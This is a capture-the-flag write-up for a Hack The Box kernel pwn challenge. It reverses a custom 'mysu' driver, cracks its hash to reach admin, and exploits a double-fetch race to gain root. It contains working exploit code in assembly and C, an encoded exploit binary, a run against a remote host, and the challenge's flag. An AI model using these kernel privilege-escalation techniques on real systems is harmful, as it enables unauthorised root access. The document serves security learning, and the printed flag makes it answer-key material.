Bits and Bytes Security

Hack The Box / Pwn / Kernel Adventures - Part 1

We can see from mysu_init function that the kernel driver registers a device with name mysu, also visible from the guest:

/ $ ls -l /dev/mysu 
crw-rw-rw-    1 root     root      248,   0 Mar 31 22:06 /dev/mysu
/ $ 

Note this device is readable and writable by any user.

The image has the following users and groups:

/ $ cat /etc/passwd 
root:x:0:0:root:/root:/bin/sh
user:x:1000:1000:user:/home/user:/bin/sh
admin:x:1001:1001:admin:/home/admin:/bin/sh
/ $ cat /etc/group 
root:x:0:
tty:x:5:
user:x:1000:
admin:x:1001:

The user has ID of 1000 and there’s also an admin with ID of 1001.

The dev_read responsible for handling device reads, allows to read 32 bytes starting from this users IDA identified memory location. We can test and confirm it is reading the existing bytes there with:

/ $ head -c 32 /dev/mysu | xxd
00000000: e803 0000 0000 0000 e903 0000 0000 0000  ................
00000010: 0000 0000 0000 0000 0000 0000 0000 0000  ................

More interesting is in the remote host:

/ $ head -c 32 /dev/mysu | xxd
head -c 32 /dev/mysu | xxd
00000000: e803 0000 759f 3103 e903 0000 6764 b72a  ....u.1.....gd.*
00000010: 0000 0000 0000 0000 0000 0000 0000 0000  ................

Where we can see the hashes 0x03319f75 and 0x2ab76467. Going back to the code, from the first lines of dev_write we see that:

  1. It expects a dword from userland buffer that is the userid and can be either 1000 or 1001.

  2. After confirming the userid, the first thing done is calling an hash function, providing the address after the userid dword.

  3. First thing the hash function does is to calculate the strlen from that address, so the userland buffer should be something like:

   4 bytes |  ? bytes
  <userid> | <string> \x00
  1. Then it calculates an hash with bit shifting instructions.

  2. Upon return, the hash is compared with stored hash values:

.text:0000000000000131                 call    hash
.text:0000000000000136                 cmp     eax, dword ptr cs:unk_544
.text:000000000000013C                 jz      short goodboy
  1. Next comes the code that handles userid of 1001 and does the same thing:
.text:000000000000014D                 call    hash
.text:0000000000000152                 cmp     eax, cs:dword_54C
.text:0000000000000158                 jnz     short badboy
.text:000000000000015A
.text:000000000000015A goodboy:

The goodboy code is calling prepare_creds and commit_creds external functions, which I never used so googling them we find some documentation here which includes the following example:

int alter_suid(uid_t suid)
{
        struct cred *new;
        int ret;

        new = prepare_creds();
        if (!new)
                return -ENOMEM;

        new->suid = suid;
        ret = security_alter_suid(new);
        if (ret < 0) {
                abort_creds(new);
                return ret;
        }

        return commit_creds(new);
}

Basically, these functions alter the current process credentials based on user id, and the mysu driver code is:

.text:000000000000015A 8B 6D 00                                mov     ebp, [rbp+0]
.text:000000000000015D E8 8E 08 00 00                          call    prepare_creds
.text:0000000000000162 48 89 C7                                mov     rdi, rax
.text:0000000000000165 89 68 04                                mov     [rax+4], ebp
.text:0000000000000168 89 68 08                                mov     [rax+8], ebp
.text:000000000000016B 89 68 0C                                mov     [rax+0Ch], ebp
.text:000000000000016E 89 68 10                                mov     [rax+10h], ebp
.text:0000000000000171 89 68 14                                mov     [rax+14h], ebp
.text:0000000000000174 89 68 18                                mov     [rax+18h], ebp
.text:0000000000000177 89 68 1C                                mov     [rax+1Ch], ebp
.text:000000000000017A 89 68 20                                mov     [rax+20h], ebp
.text:000000000000017D E8 9E 08 00 00                          call    commit_creds
.text:0000000000000182 48 89 D8                                mov     rax, rbx
.text:0000000000000185 EB A0                                   jmp     short loc_127

According to cred structure definition, this code is filling all user id related members to match the provided userid that came from the userland.

Since it is possible to read the hashes, it looks like, at first sight, that we need to reverse the hashes values into a string. But.. this su driver needs to be called from the userland by the userland binary, maybe we can get some clue on what is being send to the driver from there.

The /usr/bin binaries of this image are part of a busybox configuration so they are all merged into a single busybox binary:

/ $ ls -l /bin/
total 644
lrwxrwxrwx    1 root     root             7 Dec 11  2019 arch -> busybox
lrwxrwxrwx    1 root     root             7 Dec 11  2019 ash -> busybox
lrwxrwxrwx    1 root     root             7 Dec 11  2019 base64 -> busybox
-rwxr-xr-x    1 root     root        656440 Dec 10  2019 busybox
lrwxrwxrwx    1 root     root             7 Dec 11  2019 cat -> busybox
lrwxrwxrwx    1 root     root             7 Dec 11  2019 chattr -> busybox
lrwxrwxrwx    1 root     root             7 Dec 11  2019 chgrp -> busybox
lrwxrwxrwx    1 root     root             7 Dec 11  2019 chmod -> busybox
lrwxrwxrwx    1 root     root             7 Dec 11  2019 chown -> busybox
...

An easy way of reaching the su main function (refer to the busybox source code) is to look for this string reference:

...
flags = getopt32(argv, "mplc:s:", &opt_command, &opt_shell);
...

In IDA we find a single string like that in:

...
.rodata:000000000048D88A 6D 70 6C 63 3A 73 3A 00             aMplcS          db 'mplc:s:',0                    ; DATA XREF: sub_40B37F+38↑o
.rodata:000000000048D892                                     ; char aCSSS[]
...

So the main function of the su is at sub_40B37F. However, looking at the code I couldn’t find any outstanding differences between the original busybox code and this challenge busybox.

Looking for “mysu” string across all files in the root file system shows no findings either except in the /init script. Is this kernel driver the only part of the challenge? Let’s analyse the hash function then.

.text:0000000000000000 hash            proc near                         ; CODE XREF: dev_write+2C↓p
.text:0000000000000000                                                   ; dev_write+48↓p
.text:0000000000000000
.text:0000000000000000 data_ptr        = qword ptr -20h
.text:0000000000000000 aux2            = dword ptr -14h
.text:0000000000000000 idx             = qword ptr -10h
.text:0000000000000000 data_len        = qword ptr -8
.text:0000000000000000
.text:0000000000000000                 sub     rsp, 20h
.text:0000000000000004                 mov     [rsp+20h+data_ptr], rdi   ; store user_buffer+4 address in data_ptr
.text:0000000000000008                 mov     [rsp+20h+idx], 0
.text:0000000000000011                 mov     [rsp+20h+aux2], 0
.text:0000000000000019                 mov     rax, [rsp+20h+data_ptr]
.text:000000000000001D                 mov     rdi, rax                  ; s
.text:0000000000000020                 call    strlen
.text:0000000000000025                 mov     [rsp+20h+data_len], rax
.text:000000000000002A                 jmp     short loc_74
.text:000000000000002C ; ---------------------------------------------------------------------------
.text:000000000000002C
.text:000000000000002C loc_2C:                                           ; CODE XREF: hash+7E↓j
.text:000000000000002C                 mov     rdx, [rsp+20h+data_ptr]
.text:0000000000000030                 mov     rax, [rsp+20h+idx]
.text:0000000000000035                 add     rax, rdx
.text:0000000000000038                 movzx   eax, byte ptr [rax]
.text:000000000000003B                 movsx   eax, al                   ; al = input[index]
.text:000000000000003E                 add     [rsp+20h+aux2], eax       ; acc = (hash0 + c)
.text:0000000000000042                 mov     eax, [rsp+20h+aux2]
.text:0000000000000046                 shl     eax, 10
.text:0000000000000049                 add     [rsp+20h+aux2], eax       ; acc = acc + (acc << 10)
.text:000000000000004D                 mov     eax, [rsp+20h+aux2]
.text:0000000000000051                 shr     eax, 6
.text:0000000000000054                 xor     [rsp+20h+aux2], eax       ; acc = acc ^ (acc >> 6)
.text:0000000000000058                 mov     rdx, [rsp+20h+data_ptr]
.text:000000000000005C                 mov     rax, [rsp+20h+idx]
.text:0000000000000061                 add     rax, rdx
.text:0000000000000064                 movzx   eax, byte ptr [rax]
.text:0000000000000067                 movsx   eax, al
.text:000000000000006A                 xor     [rsp+20h+aux2], eax       ; acc = acc ^ c
.text:000000000000006E                 add     [rsp+20h+idx], 1
.text:0000000000000074
.text:0000000000000074 loc_74:                                           ; CODE XREF: hash+2A↑j
.text:0000000000000074                 mov     rax, [rsp+20h+idx]
.text:0000000000000079                 cmp     rax, [rsp+20h+data_len]
.text:000000000000007E                 jnz     short loc_2C
.text:0000000000000080                 mov     eax, [rsp+20h+aux2]
.text:0000000000000084                 add     rsp, 20h
.text:0000000000000088                 retn
.text:0000000000000088 hash            endp

So the code is actually simple. After building a custom hash cracking code in C (see Appendix A below), I got the following result:

$ ./hashcrack 2ab76467 10
Cracking hash 2ab76467 with a secret of maximum length 10 ...
  .. at length 1 ..
  .. at length 2 ..
  .. at length 3 ..
  .. at length 4 ..
  .. at length 5 ..
  ... code 02 4f 6c 26 49  = 2ab76467
  ... found hash! exiting...

Now we’ve to make a binary that will send the correct payload to the driver and hopefully, we’ll have changed the process user to admin after the write. Then we fork /bin/sh.

I decided to write the binary in assembly since it will be much smaller and easier to copy to the guest.

format ELF64 executable 3
segment readable executable
entry main

sys_read                        =   0
sys_write                       =   1
sys_open                        =   2
sys_close                       =   3
sys_execve                      =  59
sys_exit                        =  60
O_RDWR                          =   2

main:
    ; f = open("/dev/mysu", O_RDWR)
    mov rdi, fdev
    mov rdx, 0666
    mov rsi, O_RDWR
    mov rax, sys_open
    syscall
    cmp rax, 0
    jz .fail_open

    ; write(f,payload,sizeof(payload))
    mov rdi, rax
    mov rsi, payload
    mov rdx, fdev - payload
    mov rax, sys_write
    syscall
    cmp rax, fdev - payload
    jnz .fail_write

    ; By now we should have id=admin
    ; execve("/bin/sh", 0, 0)
    xor rdx, rdx
    mov rsi, argv
    mov rdi, binsh
    mov rax, sys_execve
    syscall

.fail_execve:
    mov  rdi, 3
    mov  rax, sys_exit
    syscall

.fail_open:
    mov  rdi, 1
    mov  rax, sys_exit
    syscall

.fail_write:
    mov  rdi, 2
    mov  rax, sys_exit
    syscall

segment readable writable

payload db 0xe9,0x03,0x00,0x00,0x02, 0x4f, 0x6c, 0x26, 0x49, 0x00
fdev    db "/dev/mysu",0
binsh   db "/bin/busybox",0
arg0	db "sh",0
argv	dq arg0, 0

Using directly /bin/sh was resulting in a crash right after the shell spawn so I changed to /bin/busybox sh instead and that is working.

/ $ cat <<EOF > /tmp/x
> H4sICIWPZ2ACA3NvbHZlAKt39XFjYmRkZoACJgY7BkYgvYHBAcx3YMAEDgwWQHUQGZBaVjRZZNqOkQ
GFZhBggOtjQ5YXdEChzaDKYTRMn8fx415AJR7HD81iAvGOMYEFD4AoflaP5h8MJV4enceBEnYQZTwQeU
aYPE+plYfhJaB8Clj+eAiYOmANkT9+nBmi3gbGZ0TjMyHzXzIj/K2fklqmn1tZXMqgn5SZp59UWlyZlF
/BkJnCkCiIGooAEKzd4XQBAAA=
> EOF
/ $ cat <<EOF > /tmp/x
> H4sICIWPZ2ACA3NvbHZlAKt39XFjYmRkZoACJgY7BkYgvYHBAcx3YMAEDgwWQHUQGZBaVjRZZNqOkQ
GFZhBggOtjQ5YXdEChzaDKYTRMn8fx415AJR7HD81iAvGOMYEFD4AoflaP5h8MJV4enceBEnYQZTwQeU
aYPE+plYfhJaB8Clj+eAiYOmANkT9+nBmi3gbGZ0TjMyHzXzIj/K2fklqmn1tZXMqgn5SZp59UWlyZlF
/BkJnCkCiIGooAEKzd4XQBAAA=
> EOF
/ $ cat /tmp/x | base64 -d | gzip -d > /tmp/y
/ $ md5sum /tmp/y
b061d491323d8855e5e33a7abda4b1ad  /tmp/y
/ $ /tmp/y
$ id
uid=1001(admin) gid=1001(admin) groups=1000(user)

After getting this admin uid process, it looks like a dead-end. There are no other files the file system owned by admin, there are no suid flagged files, there seems to be no way to escalate to root and access the flag file!

The only clue I got at this point is an unused function in the driver:

.text:00000000000000E3                 public create_cred
.text:00000000000000E3 create_cred     proc near
.text:00000000000000E3                 push    rbx
.text:00000000000000E4                 mov     ebx, edi
.text:00000000000000E6                 call    prepare_creds
.text:00000000000000EB                 mov     [rax+4], ebx
.text:00000000000000EE                 mov     [rax+8], ebx
.text:00000000000000F1                 mov     [rax+0Ch], ebx
.text:00000000000000F4                 mov     [rax+10h], ebx
.text:00000000000000F7                 mov     [rax+14h], ebx
.text:00000000000000FA                 mov     [rax+18h], ebx
.text:00000000000000FD                 mov     [rax+1Ch], ebx
.text:0000000000000100                 mov     [rax+20h], ebx
.text:0000000000000103                 pop     rbx
.text:0000000000000104                 retn
.text:0000000000000104 create_cred     endp

After spending some time looking at CTF writeups related to kernel pwning I found that, unlike I thought the userland pointer in file operation handlers (read, write, etc.) is actually the original userland address!

It is actually very unusual to do direct reads and writes using the userland pointer, instead, copy_from_user and copy_to_user helper functions are used to copy from/to userland to kernel space. This is to account several particular conditions (this refreshed my memory on programming drivers in Windows which share similar conditions) like the userland address wont be valid as soon as the running process is switched to another process.

Exploiting Double Fetch

The idea is simple, if we look carefully at the code, we can see that it does two reads for the user id, the first in:

.text:0000000000000105 dev_write       proc near                         ; DATA XREF: .data:0000000000000578↓o
.text:0000000000000105                 cmp     rdx, 7
.text:0000000000000109                 jbe     short loc_12A             ; is incoming data <= than 7 bytes?
.text:000000000000010B                 mov     eax, [rsi]                ; rsi = user_buffer
.text:000000000000010D                 cmp     eax, dword ptr cs:users   ; first qword seems to be an userid of 1000.

The first userland data read is at mov eax,[rsi], then the second one is when the hash test is passed and it will fill the cred structure for prepare_creds and commit_creds functions:

.text:000000000000015A                 mov     ebp, [rbp+0]
.text:000000000000015D                 call    prepare_creds
.text:0000000000000162                 mov     rdi, rax
.text:0000000000000165                 mov     [rax+4], ebp

The userland read of the userid is at mov ebp,[rbp+0]. This means we can change the value from userland between these two reads and that’s a double fetch vulnerability. Another hint to help confirm this hipotesis is in the run.sh script, we see that qemu is configured with two cores: -smp cores=2.

Since the code will be a bit more complex I’ve decided to re-write the solution in C and do a python pwntools helper script to upload and execute.

The idea is to have a thread to switch the data:

...
// Thread that will switch the uid to 0.
void *switch_uid(void *dummy)
{
    for(;;) {
        input[0] = 0x00;
        input[1] = 0x00;
    }
}
...

And in the main thread we do:

...
char input[] = { 0xe9, 0x03, 0x00, 0x00, 0x02, 0x4f, 0x6c, 0x26, 0x49, 0x00 };
...
void main()
{
    int f = open("/dev/mysu",O_RDWR);
    pthread_t th1;
    int err=pthread_create(&th1, NULL, switch_uid,0);
    int trycnt = 0x300000;
    printf("trying to get uid=0...\n");
    while(trycnt--) {
        input[0] = 0xe9;
        input[1] = 0x03;
        write(f,input,sizeof(input));
        if(getuid() == 0 || geteuid() == 0)
            break;
    }
    char buf[64];
    int ff=open("/flag",O_RDONLY);
    int n = read(ff,buf,sizeof(buf));
    printf("FLAG: %s\n",buf);
}

The final result is:

$ python3 solve.py 138.68.182.108 32383
[+] Opening connection to 138.68.182.108 on port 32383: Done
[*] uploading binary to /tmp/solve.gz.64 with size 24992
[+] sending 63 chunks...: transfer completed.
[*] unpacking /tmp/solve.gz.64 to /tmp/solve ...
[*] Switching to interactive mode

/ $ chmod +x /tmp/solve
/tmp/solve
/ $ 
/ $ /tmp/solve
trying to get uid=0...
FLAG: HTB{C0ngr4ts_y0u_3xpl0it3d_A_D0uBlE-FeTcH}

/ $ $ 
[*] Interrupted

It’s worth mentioning that my first solution was not working. In that first solution I was switching the userid in the thread function between 0 and 1001. Moving one of the switches to the main thread before calling the device write made it work. It is a little detail but made all the difference!

Attached Files